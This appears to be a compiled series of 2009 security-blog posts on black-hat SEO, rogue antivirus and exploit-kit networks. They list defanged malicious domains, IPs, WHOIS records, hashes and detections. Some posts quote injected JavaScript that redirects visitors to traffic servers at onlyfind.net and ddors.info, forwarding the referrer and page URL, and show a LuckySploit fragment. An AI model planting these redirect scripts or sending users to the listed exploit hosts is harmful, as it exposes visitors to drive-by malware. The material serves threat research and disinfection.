hxxp://beebest.cn	78.109.25.215
hxxp://clarafin.info	212.5.74.37
hxxp://corpamata.cn	78.109.25.215
hxxp://extraspray.com	72.232.116.51
hxxp://agkt.info
hxxp://rifnasax.cn	91.212.65.7
hxxp://sgqw.info	85.17.136.137
hxxp://stopgam.cn	85.17.136.137
hxxp://stopgam2.cn	174.129.244.106 174.129.241.185

78.109.25.217

IP Location - Namibia - Plathost2 - Ivan Kirst

Domain Name: beebest.cn - stopgam.cn - corpamata.cn
Domain Status: ok
Registrant Organization: DomainsC
Registrant Name: MichellGregory
Administrative Email: abuse@domainsreg.cn
Sponsoring Registrar: 厦门华融盛世网络有限公司 -
Xiamen Huarong Spirit Network Limited
Name Server: ns1.us.editdns.net
Name Server: ns2.us.editdns.net
Name Server: ns3.us.editdns.net
Registration Date: 2009-02-11
Expiration Date: 2010-02-11

212.5.74.37

IP Location - Russia

Domain Name: clarafin.info
Domain Status: ok
Billing Organization: XiaMen BizCn Computer & NetWork CO.,Ltd
Name Server: ns1.us.editdns.net
Name Server: ns2.us.editdns.net
Name Server: ns3.us.editdns.net
Registration Date: 2009-03-18
Expiration Date: 2010-03-18

85.17.136.137

IP Location - Netherlands - LeaseWeb

omain Name: sgqw.info
Domain Status: ok
Registrant Organization: Private person
Registrant Name: Sumir Mahadjan
Administrative Email: mahadjans9@gmail.com
Sponsoring Registrar: Regtime Ltd. (R455-LRMS)
Name Server: ns1.mtpv.info
Name Server: ns2.mtpv.info
Name Server:ns3.us.editdns.net
Registration Date: 2009-04-01
Expiration Date: 2010-01-01

72.232.116.51

IP Location - US - Layered Technologies, Inc.

omain Name: extraspray.com
Domain Status: ok
Registrant Organization: Private person
Registrant Name: Sumir Mahadjan
Administrative Email: mahadjans9@gmail.com
Sponsoring Registrar: Regtime Ltd.
Name Server: vc11.amhost.net
Name Server: vc12.amhost.net
Registration Date: 2009-03-09
Expiration Date: 2010-03-09

174.129.244.106
174.129.241.185

IP Location - US - Amazon.com, Inc.

Domain Name: stopgam2.cn
ROID: 20090417s10001s12986159-cn
Domain Status: clientTransferProhibited
Registrant Name: Zitoclick
Administrative Email: support@zitoclick.com
Sponsoring Registrar: InamePro dba Dynadot
Name Server: ns1.dsredirection.com
Name Server: ns2.dsredirection.com
Registration Date: 2009-04-17 05:23
Expiration Date: 2010-04-17 05:23

91.212.41.119

Domain Name: tixwagoq.cn
Registrant Organization: 杭州五矿有限公司 - Minmetals Co., Ltd. Hangzhou
Registrant Name: 周明 - Zhou
Administrative Email: suhalbuia@163.com
Sponsoring Registrar: 易名中国 - Easy Chinese
Name Server: ns1.runsdns.cn
Name Server: ns2.runsdns.cn
Registration Date: 2009-03-18 22:16
Expiration Date: 2010-03-18 22:16

inetnum: 91.212.41.0 - 91.212.41.255
netname: gaztranzitstroyinfo-net
descr: LLC "Gaztransitstroyinfo"
country: Russia
------------

91.212.65.7

IP Location - Ukraine - Eurohost LLC

Domain Name: rifnasax.cn
Registrant Organization: Yong also Import and Export Corporation
Registrant Name: 张龙 - Long
Administrative Email: alvin_555@yeah.net
Sponsoring Registrar: 易名中国 - Easy Chinese
Name Server: ns2.dnsmytruedns.com
Name Server: ns1.dnsmytruedns.com
Registration Date: 2009-02-13 19:29
Expiration Date: 2010-02-13 19:29

This IP appear to host several websites with live exploits.

91.212.65.7

hxxp://dnsmytruedns.com
hxxp://hayboxiw.cn (Analysis)
hxxp://paksusic.cn
hxxp://paylayos.cn
hxxp://peskufex.cn
hxxp://porgacig.cn
hxxp://qicdator.cn (Analysis)
hxxp://ralcofic.cn
hxxp://rifnasax.cn (Analysis)
hxxp://tozxiqud.cn

91.212.41.119

hxxp://tixwagoq.cn/in.cgi?6 (Analysis)

Black Hat SEO - RBN Hacks, p.2

2009-04-09T14:38:00.001-07:00

The silent threat: Black Hat SEO - Cyber Crime Toolkit Exposed

Welcome to LuckySploit:) ITS TOASTED

READ THIS page if you need more information

WARNING: All sites listed on this page are dangerous (live URL with exploits) which lead
to trojans beeing automatically installed on your computer.
Do NOT visit them unless you know what you are doing.
(only links are safe)

A nice article provided by Finjan about the Lucky Sploit toolkit, one of the
latest script kiddies that cyber criminals used these days can be found
following this link: LuckySploit Toolkit Exposed

Using well known technic such as "Code Obfuscation" most often used to
hide its first intention (sometimes randomly generated), here is one of the
numerous malicious script found on several compromised website.

The deobfuscated result is:

and then load the IFRAME.

Note that the script found in the second redirection show a lot of chat which refer
different IPs or hacking problems (IFRAME injected) Google search for "if(!myia)" iframe

An example of site on the same IP:

gogo2me.netresolve to 94.247.2.157 [hs.2-157.zlkon.lv]

and then load an IFRAME (with the LuckySpoit)

hxxp://94.247.2.157/.dif/go.php?sid=1
hxxp://94.247.2.157/.lck/?t=3
hxxp://94.247.2.157/.lck/?t=6
http://94.247.2.157/.lck/?90f6ff8e287ae123...
http://94.247.2.157/.lck/?75c4a0ecf4a4836...

Wepawet Analysis

A ThreatExpert analysis also indicate the relationship with these viruses/malware:

Zlob variant (Trojan-Spy.Win32.Zbot), keylogger's trojan (Trojan-Spy.Zbot.YETH) and some
TDSS (Alias Alureon) variant Win32.Fasec [Ikarus]

And here I just show you the line :) Also note the use of RSA algorithm (screenshot)

nextkey = '';
k = '';
attack_level = 0;
try {
f = 'Welcome to LuckySploit:) \n ITS TOASTED';
} catch (e){
}

Black Hat SEO - RBN Hacks, p.1

2009-04-09T14:34:00.000-07:00

The silent threat: Black Hat SEO, exploits, hacks, botnets

Inspecting the bad network

READ THIS page if you need more information

If you want information about desinfection check out this page:
Analysis of a website infected with a hidden iframe (by NoVirusThanks)

This doesn't include the desinfection of your website (attacked - iframed).

For this change your passwords (windows passwords, FTP, emails, database
access etc.) and remove the content injected on each page as quickly as possible
(contact your hosting provider for assistance).

This page reference domain found in thousand of compromised websites using
obfuscated javascript code injected (IFRAME).

The Zlkon network (DATORU EXPRESS SERVISS) has been cited in several blogs
for hosting malicious content for cyber criminals - for example:

On Symantec website for spreading the TDSS trojan [hs.2-104.zlkon.lv] - in conjunction
with IPs at UkrTeleGroup Ltd.in December 2008

85.255.115.156
85.255.112.87
85.255.115.50
85.255.112.154

On the msmvps' blog for inaccurate whois details in January 2009
On bluetack.co.uk forum for rogue antivirus here in January 2009
Another example with "Total Defender", other rogue antivirus here
Also found on several websites including fireeye "Bad Actors Part 2 - ZlKon"
- dancho danchev's blog
Network in conjunction cited here: Bad, bad, cybercrime-friendly ISPs!

A quick look at two IPs at Zlkon in Latvia

94.247.3.152 [hs.3-152.zlkon.lv]

Using the dns

ns1.freednshostserver.com [78.109.18.234]
ns1.freednshostserver.com [78.109.18.235]

descr: Datacenter Hosting.UA
route: 78.109.16.0/20
origin: AS41665

we have these domain currently live and kicking a lot of websites
(simply enter a domain or "in.cgi?cocacola" in google reveal a lot of chat related to
hacked domain iframed.)

betstarwager.cn/in.cgi?cocacola	Analysis
bestlotron.cn/in.cgi?cocacola	Analysis
denverfilmdigitalmedia.cn/in.cgi?cocacola	Analysis
diettopseek.cn/in.cgi?cocacola	Analysis
filmlifemusicsite.cn/in.cgi?cocacola	Analysis
filmlifemusicsite.cn/	Analysis
filmtypemedia.cn/in.cgi?cocacola	Analysis
litedownloadseek.cn/in.cgi?cocacola	Analysis
litetopfindworld.cn/in.cgi?cocacola	Analysis
litetoplocatesite.cn/in.cgi?cocacola	Analysis
nanotopfind.cn/in.cgi?cocacola	Analysis
promixgroup.cn/in.cgi?cocacola	Analysis
yourliteseek.cn/in.cgi?cocacola	Analysis

ghrgt.hostindianet.com/index.php	Analysis
lieliteautobody.cn/load.php?id=4 [94.247.3.151]	Anubis - VirusTotal Botnet C&C: 213.155.4.82 Anubis Family 1175580

ghrgt.hostindianet.com/cache/readme.pdf	Analysis
zzzz.hostindianet.com/load.php?id=4	Anubis - VirusTotal Botnet C&C: 213.155.4.80 78.109.30.224

Also cited on Dancho Danchv's blog here in the serie of embassies websites iframed. (11 of them - including hostindianet[.]com)

On the next IP:

94.247.3.151 [hs.3-152.zlkon.lv]

hxxp://bigtopescorts.cn/in.cgi?id1000 (dead)
hxxp://cheapslotplay.cn/in.cgi?income48	Redirect to exploit hxxp://hyperliteautoservices.cn/index.php (dead) but the trojan is still available on hyperliteautoservices.cn/load.php VirusTotal - Anubis
hxxp://daddybigtop.cn	Load trojan on hxxp://freeonlinehostguide.com/load.php VirusTotal - Redirection Analysis - Anubis Detection: Trojan-Downloader.Win32.Bredolab!IK TR/Crypt.ZPACK.Gen Trojan-Downloader.Win32.Bredolab Trojan:Win32/Meredrop Using a stack overflow in adobe reader 8.1.2 CVE-2008-2992
hxxp://educationbigtop.cn	VirusTotal Report (Brebolab)
hxxp://freehostinternet.com	Load trojan on hxxp://daddybigtop.cn/load.php VirusTotal - Anubis Detection: Trojan-Downloader.Win32.Bredolab Connect to botnet: 213.155.6.33
hxxp://freeonlinehostguide.com/ index.php	Load trojan on hxxp://zzz.free.hostindianet.com/load.php?id=4 VirusTotal - Javascript Analysis - Anubis Detection: TR/Crypt.XPACK.Gen Win32:Walpak Win32/Kryptik.LI Trojan.Waledac.Gen!Pac.8 It connect to a URL and drop the file "digiwet.dll" Botnets C&C: turokgame.cn [74.50.98.156] 94.247.2.95 and 78.109.30.224
hxxp://freewebhostguide.com	Symantec
hxxp://greatbethere.cn	Load trojan on hxxp://greatbethere.cn/load.php?id=4 VirusTotal - Javascript Analysis - Anubis Detection: TR/Crypt.XPACK.Gen Win32:Walpak Win32/Kryptik.LI Trojan.Waledac.Gen!Pac.8 Using a stack overflow in adobe reader 8.1.1 CVE-2007-5659 It connect to a URL and drop the file "digiwet.dll" Botnets C&C: 213.155.6.32 78.109.30.224
hxxp://hugetopnonfat.cn	dead
hxxp://mediahomenamemartvideo.cn/ in.cgi?income	Botnet C&C / redirect to exploit hxxp://hyperliteautoservices.cn/index.php (dead) but the trojan is still available on hyperliteautoservices.cn/load.php VirusTotal - Redirection Analysis - Anubis
hxxp://hyperliteautoservices.cn	Redirect to exploit hxxp://hyperliteautoservices.cn/index.php but the trojan is still available on hyperliteautoservices.cn/load.php VirusTotal - Redirection Analysis - Anubis Flash exploit is also live: Flash Analysis Botnet C&C: 78.109.29.112
hxxp://lieliteautobody.cn (dead)
hxxp://liteautofinestsite.cn/load.php	Exploit not found but trojan still there hxxp://liteautofinestsite.cn/load.php
hxxp://liteautogreatest.cn	Exploits hxxp://liteautogreatest.cn/cache/readme.pdf hxxp://liteautogreatest.cn/cache/flash.swf to load trojan on hxxp://liteautogreatest.cn/load.php VirusTotal - Redirection Analysis - Anubis Flash exploit is also live: Flash Analysis - VirusTotal Botnet C&C: 78.109.29.112
hxxp://liteautorepair.cn	Exploit to load trojan on zzzz.hostindianet.com/load.php?id=4 VirusTotal - Redirection Analysis - Anubis Detection: Trojan-Downloader.Win32.Bredolab Botnet controller: 213.155.4.82
hxxp://litedownloadfinest.cn	Exploit to load trojan on zzzz.hostindianet.com/load.php?id=4 VirusTotal - Redirection Analysis - Anubis Detection: TrojanDownloader:Win32/Bredolab.B Previous botnet controller: 78.109.29.112
hxxp://litehitscar.cn/index.php	Exploit to load trojan on hyperliteautoservices.cn/load.php?id=4 VirusTotal - Redirection Analysis - Anubis Detection: Trojan.Botnetlog.3 Botnets: 78.109.29.112 - 78.109.30.224 74.54.77.82
hxxp://lieliteautobody.cn/load.php	Exploit not found but trojan still there lieliteautobody.cn/load.php
hxxp://liteautofinestsite.cn/load.php	Exploit not found but trojan still there liteautofinestsite.cn/load.php
hxxp://liteupyourride.cn/	Exploits hxxp://liteupyourride.cn/cache/readme.pdf hxxp://liteupyourride.cn/cache/flash.swf to load trojan on hxxp://litehitscar.cn/load.php VirusTotal - Anubis PDF exploit is also live: PDF Analysis - VirusTotal Botnet C&C: 78.109.29.112
hxxp://yournonfatbest.cn	Exploit to load trojan on farm-en-12san.hostindianet.com/load.php?id=4 VirusTotal - Redirection Analysis - Anubis Detection: TrojanDownloader:Win32/Bredolab.G Botnets: 213.155.4.82 78.109.30.224
hxxp://lotbetsite.cn	Exploit to load trojan on casinoslotbet.cn/load.php - Analysis VirusTotal - Anubis - Flash Exploit Analysis Detection: Trojan-Downloader.Win32.Bredolab Botnet: 213.155.6.33

hxxp://hugetopnonfat.cn/in.cgi?id1000	Javascript Analysis
hxxp://PremiumNonfat.cn/all/	dead

94.247.3.150 [hs.3-150.zlkon.lv]

hxxp://autobestwestern.cn/ cache/readme.pdf	Exploit to load trojan on litehitscar.cn/load.php?id=5 - Analysis VirusTotal - Anubis - Flash Exploit Analysis Detection: TrojanDownloader:Win32/Bredolab.Q Botnet: 78.109.29.112
hxxp://coolnameshop.cn/in.cgi?income
hxxp://cutlot.cn/in.cgi?income	Botnet C&C / Exploits to hxxp:// liteautogreatest.cn/index.php Analysis then load trojan located hxxp://litehitscar.cn/load.php?id=5 VirusTotal - Anubis Botnets: 78.109.29.112 - 78.109.30.224
hxxp://dotcomnameshop.cn	Botnet C&C
hxxp://lotante.cn	Botnet C&C / Exploits to litehitscar.cn/index.php Analysis then load trojan located hyperliteautoservices.cn/load.php?id=4 VirusTotal - Anubis Botnets: 78.109.29.112 - 78.109.30.224 74.54.77.82
hxxp://lotbetworld.cn/in.cgi?income	Botnet C&C / Exploits to litehitscar.cn/index.php [94.247.3.151] Analysis then load trojan located hyperliteautoservices.cn/load.php?id=4 VirusTotal - Anubis Botnets: 78.109.29.112 - 78.109.30.224 74.54.77.82
hxxp://homenameregistration.cn	Botnet C&C / Exploits to 78.41.207.196/vertu/?t=5 Analysis then load trojan located 78.41.207.196 Analysis
hxxp://hugetopnonfat.cn	Botnet C&C
hxxp://dotcomnameshop.cn/ in.cgi?income	Botnet C&C / Redirect to exploits hxxp://litehitscar.cn/index.php [94.247.3.151] Redirection Analysis - Exploit analysis then load trojan located hxxp://hyperliteautoservices.cn/load.php?id=4 VirusTotal - Anubis Botnets: 78.109.29.112 - 78.109.30.224 74.54.77.82
hxxp://japanhostnet.com/ in.cgi?income	Botnet C&C / Redirect to exploits litehitscar.cn/index.php [94.247.3.151] Redirection Analysis - Exploit analysis then load trojan located hyperliteautoservices.cn/load.php?id=4 VirusTotal - Anubis Botnets: 78.109.29.112 - 78.109.30.224 74.54.77.82
hxxp://internetnamestore.cn/ in.cgi?income18	hyperliteautoservices.cn/index.php [94.247.3.151] Analysis
hxxp://lotmachinesguide.cn/ in.cgi?income	Redirects to exploits hxxp://liteautogreatest.cn/cache/readme.pdf hxxp://liteautogreatest.cn/cache/flash.swf to load trojan on hxxp://liteautogreatest.cn/load.php VirusTotal - Redirection Analysis - Anubis Botnet C&C: 78.109.29.112
hxxp://mainnameshop.cn	Redirect to exploits sdfi.hostindianet.com/index.php (dead) Detection: Win32/Bredolab.B
hxxp://mediahomenamemartvideo.cn	Botnet C&C down (TS v3.2)
hxxp://mediahousenameshopfilm.cn
hxxp://nameashop.cn/in.cgi?income	On 2009-03-21 01:40:07 - Analysis Redirect to exploit on hxxp://sadcwed.hostindianet.com/index.php On 2009-04-05 13:22:58 - Analysis Redirect to exploit on freeonlinehostguide.com/index.php Analysis - VirusTotal - Anubis Detection: Waledac - Kryptik.LI - Win32:Walpak Trojan.Crypt.XPACK.Gen It connect to a botnet and drop the file "digiwet.dll" Botnets: turokgame.cn [74.50.98.156] 94.247.2.95 and 78.109.30.224
hxxp://namebrandmart.cn/in.cgi ?income18	litehitscar.cn/load.php Analysis
hxxp://namebuyline.cn	Analysis
hxxp://namebuypicture.cn/ in.cgi?income31	Botnet C&C / redirect to exploit hyperliteautoservices.cn/index.php (dead) but the trojan is still available on hyperliteautoservices.cn/load.php VirusTotal - Anubis - Analysis
hxxp://namesupermart.cn	Botnet C&C
hxxp://namestorefilmlife.cn/ in.cgi?income	Botnet C&C / Exploits to litehitscar.cn Analysis then load trojan located hyperliteautoservices.cn/load.php?id=4 VirusTotal - Anubis
hxxp://perfectnamestore.cn /in.cgi?income8	Redirect to exploit hyperliteautoservices.cn/index.php (dead) but the trojan is still available on hyperliteautoservices.cn/load.php VirusTotal - Anubis [94.247.3.151]
hxxp://playbetwager.cn/in.cgi?income	freeonlinehostguide.com/index.php
hxxp://superbetfair.cn/in.cgi?income	Botnet C&C / Exploits to litehitscar.cn Analysis then load trojan located hyperliteautoservices.cn/load.php?id=4 VirusTotal - Anubis - Redirection Analysis Detection: Trojan.Botnetlog.3
hxxp://thelotbet.cn
hxxp://yourfilmmovie.cn	Botnet C&C

hxxpp//freeonlinehostguide.com/index.php Analysis

Dns

AS48856
VENTREX-AS Ventrex LLP

95.129.144.210

freednshostway.com
ns1.bigtopescorts.cn
ns1.casinobigtop.cn
ns1.casinoslotbet.cn
ns1.cheapslotplay.cn
ns1.daddybigtop.cn
ns1.educationbigtop.cn
ns1.freednshostway.com
ns1.freehostinternet.com
ns1.freeonlinehostguide.com
ns1.freewebhostguide.com
ns1.greatbethere.cn
ns1.hostindianet.com
ns1.hyperliteautoservices.cn
ns1.lieliteautobody.cn
ns1.liteautofinestsite.cn
ns1.liteautorepair.cn
ns1.litehitscar.cn
ns1.lotante.cn
ns1.lotbetsite.cn
ns1.playbetwager.cn

AS34187
RENOME-AS Renome-Service: Joint Multimedia Cable Network Odessa, Ukraine

78.26.179.79

ns2.bigtopescorts.cn
ns2.casinobigtop.cn
ns2.casinoslotbet.cn
ns2.cheapslotplay.cn
ns2.daddybigtop.cn
ns2.educationbigtop.cn
ns2.freednshostway.com
ns2.freehostinternet.com
ns2.freeonlinehostguide.com
ns2.freewebhostguide.com
ns2.greatbethere.cn
ns2.hostindianet.com
ns2.hyperliteautoservices.cn
ns2.lieliteautobody.cn
ns2.liteautofinestsite.cn
ns2.liteautorepair.cn
ns2.litehitscar.cn
ns2.lotante.cn
ns2.lotbetsite.cn
ns2.playbetwager.cn

Black Hat SEO and Rogue Antivirus p.7

2009-04-07T06:19:00.000-07:00

The silent threat: Black Hat SEO - Rogue Antivirus is BIG Business

Inside the malicious traffic

READ THIS page if you need more information

The Finjan's Malicious Code Research Center has made a nice report
about the business with rogue antivirus software
(redirecting visitors from legitimate Web sites). Zdnet Article

The article can be found in the latest Cybercrime Intelligence Report

I just want to show you some script added on legit websites and the log
we've found on the criminal web server.

Note that for each site on this blog like goscanfuse.com, scan6lite.com,
scan7new.com, every domain is listed in the Google API "Safe Browsing"
and each of them reveal a lot of information.
eg. the number on domain used (compromised) and other in conjunctions.

We start by a Google Safe Browsing Diagnostic for: scanline6.com

Report here

Screenshot below (if the report is updated)

Now the Google Safe Browsing Diagnostic for three compromised websites

alfredomcmillanji.awardspace.info
members.lycos.co.uk/cvhkc8xhv/

Malicious script inserted. (after the body)

Which force the browser to be redirected to a traffic management server

document.location="http://onlyfind.net/in.cgi?3&group=11&
parameter=orthopedic+physical+examination";

Result here
then redirect to a domain (drive-by-download) which chose the next redirection

onlyfind.net to "goscandata.com" to "scanany6.com"

Note: the domain (drive-by-download) redirect to a new site every day.

On April 6: scanany6.com - Redirection Analysis
On April 7: scan7live.com - Redirection Analysis
On April 8: google.com
On April 9: lite6scan.com - Redirection Analysis

Let's show the second domain:

home.no/kjveubjh/

Malicious script inserted. (after the body)

then force the browser to be redirected to another traffic management server

parent.window.location.replace("http://ddors.info/in.cgi?11&keyword=
garageband+hard+rock+guitar+apple+loops&seoref="
+encodeURIComponent(document.referrer)+"&"+
"parameter=$keyword&keyword=$keyword&se=$se&ur=1
&HTTP_REFERER="+encodeURIComponent(document.URL))

Result here
then redirect to a domain (drive-by-download) which chose the next redirection

ddors.info to "goscandata.com" to "scanany6.com"

Note that during the redirection the "traffic management server" is informed of your IP,
the site which served for redirection "the compromised website".

Interesting is that the site serving for the first redirection is cited in Malware Domain List
since May 2008! for hosting a zlob variant.

*******

What we've found on the server is that:

1 1 0 0 0 0 0 0 US en-us 65.55.165.94 http%3A%2F%2Ftiti%2Eiax%
2Ebe%2Fdiagnostic%2Dteaching%2Dof%2Dreading%2Dand%2Djour
nal%2Darticles%2Ehtml%3Ffeed%3Dcomments%2Drss2 articles live%
2Ecom Mozilla%2F4%2E0+%28compatible%3B+MSIE+6%2E0%3B+
Windows+NT+5%2E2%3B1 1 0 0 1 1 1 0 GB en-gb 86.147.111.244
http%3A%2F%2Fhome%2Eno%2Fchuka%2Fwicapeadea%2Ehtml
wickapeadea yahoo Mozilla%2F4%2E0+%28compatible%3B+
MSIE+7%2E0%3B+Windows+NT+5%2E1%3B1 1 0 0 1 1 1 0 US
en-us 72.11.87.126 http%3A%2F%2Ftiti%2Eiax%2Ebe%2Faia%
2Dbilling%2Dform%2Ehtml aia+billing+form msn Mozilla%2F4%2E0
+%28compatible%3B+MSIE+7%2E0%3B+Windows+NT+5%2E1%3B

The visitor IP (country), browser version/language and the site you are coming from which is the compromised website.

I will not published the entire log because a LOT of compromised web site is cited.
(We also have logs from other server - in MB which include thousand of compromised website.)

This is some of them:

1 1 0 0 0 0 0 0
US en-us 65.55.165.94
hxxp://titi.iax.be/diagnostic-teaching-of-reading-and-journal-articles.html?feed=comments-rss2
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2;)
Redirection Analysis

1 1 0 0 1 1 1 0
GB en-gb 86.147.111.244
hxxp://home.no/chuka/wicapeadea.html
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;)
Redirection Analysis

1 1 0 0 1 1 1 0
US en-us 72.11.87.126
hxxp://titi.iax.be/aia-billing-form.html
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;)
Redirection Analysis

4 1 1 0 0 0 0 0
FR en-us 193.47.80.77
hxxp://mitglied.lycos.de/gbk6ntkbn/usda-maps-mn.html
keyword for traffic: usda maps mn
Redirection Analysis

4 1 1 0 0 0 0 0 US
en-us 204.62.53.124
hxxp://members.lycos.co.uk/dkd1nfkdf/voodoo-glow-skulls-guitar-tabs.html
keyword for traffic: voodoo glow skulls guitar tabs
Redirection Analysis

4 1 0 0 0 0 0 0 IE
en-us 78.137.163.133
hxxp://usuarios.lycos.es/utrinopok/remove-hair-dye-stains.html
keyword for traffic: remove hair dye stains
Redirection Analysis

4 1 0 0 1 1 1 0 US
en-us 71.235.179.148
http://members.lycos.nl/eu40wyhk/presentation-tools-for-excel-highlighting.html
keyword for traffic: presentation tools for excel highlighting
Redirection Analysis

Rogueware AntivirusPlus - thegreatsecurity.com

2009-04-04T23:02:00.000-07:00

Rogueware AntivirusPlus - thegreatsecurity.com, todaybestscan.com

Another list of malicious domain promoting rogue software associated with "AntivirusPlus"

READ THIS page if you need more information

easyincomeprotection.cn (Also have 6 different template)
bigdefense2u.cn
easydefenseonline.cn
easyincomeprotection.cn
easypersonalprotection.cn
examineillnesslive.cn
freedefenseforyou.cn
mycheckdiseasepro.cn
mycheckdiseasestore.cn
mydefense4u.cn
mydefense4you.cn
myguardforyou.cn
newguard4u.cn
newguard4you.cn
refugepro.cn
yourguard4you.cn
yourguardforyou.cn
yourguardonline.cn
yourguardpro.cn

Anubis - VirusTotal

Created 30-mar-2009

Registered with "广东时代互联科技有限公司" translated into english the result beeing:

"Time Internet Technology Co., Ltd. Guangdong" also cited as registrar for hosting SCAM websites here

DDK-Group-Inc.
EFS-Capital-Group-Inc
tdk-group-inc
e-innovative-inc

DNS:

ns1.pubilcnameserver7.com [94.247.2.215]
ns2.pubilcnameserver7.com [94.247.2.216]

Using the same DNS we have:

easyaddedantivirus.com [94.247.2.215]
yourcountedantivirus.com [94.247.2.215]

Created 30-mar-2009

Registrar used: BIZCN.COM, INC.

Application screenshot (Alias: FakePlus)

topsoftscanner.com [209.44.126.14]

Created 25-mar-2009

No whois info - PrivacyProtect.org
Registrar used: DIRECTI INTERNET SOLUTIONS PVT. LTD

thegreatsecurity.com [209.44.126.14]

hxxp://golkis.dnip.net/online-j49/yornt.html
Javascrit Analysis by Wepawet

Seen on Alexa
"The Google cache has been updated and the link has been removed."

Created 03-apr-2009

No whois info - PrivacyProtect.org
Registrar used: DIRECTI INTERNET SOLUTIONS PVT. LTD

checkonlinesecurity.com [209.44.126.14]

Created 05-apr-2009

No whois info - PrivacyProtect.org
Registrar used: DIRECTI INTERNET SOLUTIONS PVT. LTD

todaybestscan.com [209.44.126.14]

Created 05-apr-2009

No whois info - PrivacyProtect.org
Registrar used: DIRECTI INTERNET SOLUTIONS PVT. LTD

Using these two DNS:

ns1.fuckmoneycash.com [209.44.126.15]
ns2.fuckmoneycash.com [209.44.126.16]

Title: My computer Online Scan

Template used:

tubeloyaln.com Fake Codec and RogueAV Revisited

2009-04-04T22:57:00.000-07:00

tubeloyaln.com Fake Codec and Rogue Antivirus revisited

The previous page which include 14 domain (10 active) is here

READ THIS page if you need more information

Fake codec and fake scanner page:

hxxp://tubeloyaln.com/scan/?id=..

hxxp://tubeloyaln.com/tube/?id=197&title=adult+movie

win-pc-defender.com

hxxp://winpcdown09.com/file.exe

VirusTotal: 14/40
Anubis

File size: 71680 bytes
MD5...: ac10a8c9d0e7508beafa6f61c1af44bc

Alias: Win32/Insebro.A - Adware.WinPCDefender

hxxp://winpcdown09.com/file.exe

VirusTotal: 10/39
Anubis
Prevx

File size: 1022464 bytes
MD5...: 34e1cd77554c06f9d24a6857f702b4fd

Alias: FakeAlert.IM - Win32/FakeRean - WinPCDefender

ThreatExpert (other file)
Fraudulent payment system: hxxp://billingpayment.net/pp/?id=

winpcdown09.com
winpcdown99.com

VirusTotal: 21/40
Prevx
Anubis

File size: 98304 bytes
MD5...: d15e5bb28d5e4c31651efb32e000397f

Alias: Trojan:Win32/Alureon - Win32.Tdss - DNSChanger.r

Associated website:

trafficstatic.com [92.48.91.144]
statsanalist.cn [72.233.114.126]
livefind1blogging.com [72.233.115.169]

The new list is as follow (including sub-domains):

iloveyourbrain.com
loyal-tube.com
loyaldown99.com
loyaltube.com
loyaltube09.com
loyaltube10.com
rakompoporyadkunazaryadku.com
ruler-domains.com
setupdatdownload.com
tube-loyal.com
tubeloyal.com
tubeloyaln.com
billingpayment.netcodecs.tubeloyaln.com
lamer.tubeloyaln.com
videosz.tubeloyaln.com
wedare.tubeloyaln.com
velzevuladmin.com
win-pc-defender.com
winpcdown09.com
winpcdown99.com
xp-police-09.com
xp-police-2009.com
xp-police-antivirus.com
xp-police-av.com
xp-police-engine.com
xp-police.com
gofuckbiz.xp-police.com
lamer.xp-police.com
suckmydick.xp-police.com
rulerteam.xp-police.com
sigurd.xp-police.com

DNS:

ns1.loyaltube10.com
ns1.tube-loyal.com
ns1.tubeloyal.com
ns1.winpcdown09.com
ns1.winpcdown99.com
ns1.xp-police.com
ns2.loyaltube10.com
ns2.tube-loyal.com
ns2.tubeloyal.com
ns2.winpcdown09.com
ns2.winpcdown99.com
ns2.xp-police.com
ns3.xp-police.com
ns4.xp-police.com
ns5.xp-police.com

IP: 213.163.65.10
Reverse: mail.l1ght.net
Route: 213.163.64.0/19
AS:AS20495 - WEDARE We Dare BV Autonomous System

Analysis:

Site URLs:	hxxp://tubeloyaln.com/scan/?id=..
	hxxp://tubeloyaln.com/tube/?id=197&title=adult+movie
	hxxp://tubeloyaln.com/codec/.exe

	hxxp://wincodecupdate.com/codec/.exe



File info:	codec.exe

File size	107010 bytes
MD5	e66fb67721bcb6a6b47879e451ce905b



ThreatExpert:	Report
VirusTotal:	Report
Anubis:	Report

First received	04.05.2009 06:39:41 (CET)
Results	6/40 (15%)

Alias:	FakeAlert.IR	AVG
	(Suspicious) - DNAScan	CAT-QuickHeal
	Suspicious File	eSafe
	Downloader-BON	McAfee
	Downloader-BON	McAfee+Artemis
	TrojanDropper:Win32/Insebro.A	Microsoft
	Malware-Cryptor.Win32.Zorq	VBA32

Network graph

Black Hat SEO and Rogue Antivirus p.5

2009-04-03T11:28:00.000-07:00

The silent threat: Black Hat SEO planting trojans

Full of hacks

READ THIS page if you need more information

Follow this page for desinfection: Malware Manipulating Google SERPs (from blog.scansafe.com)

After promoting some spyware and other rogue security software, now this is another list of compromised websites all with obfuscated javascript code inserted which result in:

hxxp://94.247.2.195/news/?id=100
(Analysis)

which call

hxxp://94.247.2.195/news/?id=2

and download a PDF with a random name QRB.pdf, WXk.pdf ...

File size: 10417 bytes
MD5: af28f3bc9424a3da7ff8bc84740bce93

VirusTotal Analysis: 0/40 (0%)

when running it load

hxxp://94.247.2.195/news/?id=10&

With an Adobe Collab overflow (CVE-2007-5659)
Wepawet Analysis

which lead to an executable beeing downloaded and executed.
Also with a random name PO.exe, 8lv.exe ...

File Size: 15360 Bytes
MD5: 791509d03706cbc8883536b5131341d4

Anubis Report

VirusTotal Analysis: 10/40 (25%)

a-squared - Trojan-Spy.Agent!IK
Avast - Win32.Daonol-L
eSafe - Suspicious File
GData - Win32:KillAV-KS
Irakus - Trojan-Spy.Agent
Kaspersky - Backdoor.Win32.Agent.afhg
McAfee+Artemis - Generic!Artemis
Prevx1 - High Risk Cloaked Malware
Sophos - Mal/Generic-A
TrendMicro - PAK_Generic.001

First received on 04.03.2009 18:36:21 (CET)

Ikarus: Trojan-Spy.Agent (Sig-Id:975847)

ThreatExpert Report
Prevx

Source:

dreamhost.com discussion
dynamicdrive.com forum
windowsbbs.com forum
spywarewarrior.com forum
who-is-who-in-gpt.com
tcheval.net forum (FR)

Also interesting on this IP is this script:

If you have this code in your site, you are probably on of these victims.
Change all your passwords, including FTP, emails etc. On all your accounts.

94.247.2.195/jquery.js
or
78.110.175.249/jquery.js (not responding) in Russia

descr: LIMIT SUREHOST - AAS188-RIPE - @ukservers.com
person: Alexander A Solovyov - @limt.ru
LIMT Group Ltd. has zero web presence, apart from SPAM, hacking and other problems.
They are clearly a bogus company. Clear evidence of criminal fraud. "Same for LIMIT SUREHOST"

route: 78.110.160.0/20 - UK Dedicated Servers Limited - AS42831 - UKSERVERS-MNT

Javascript code:

<script language=javascript>
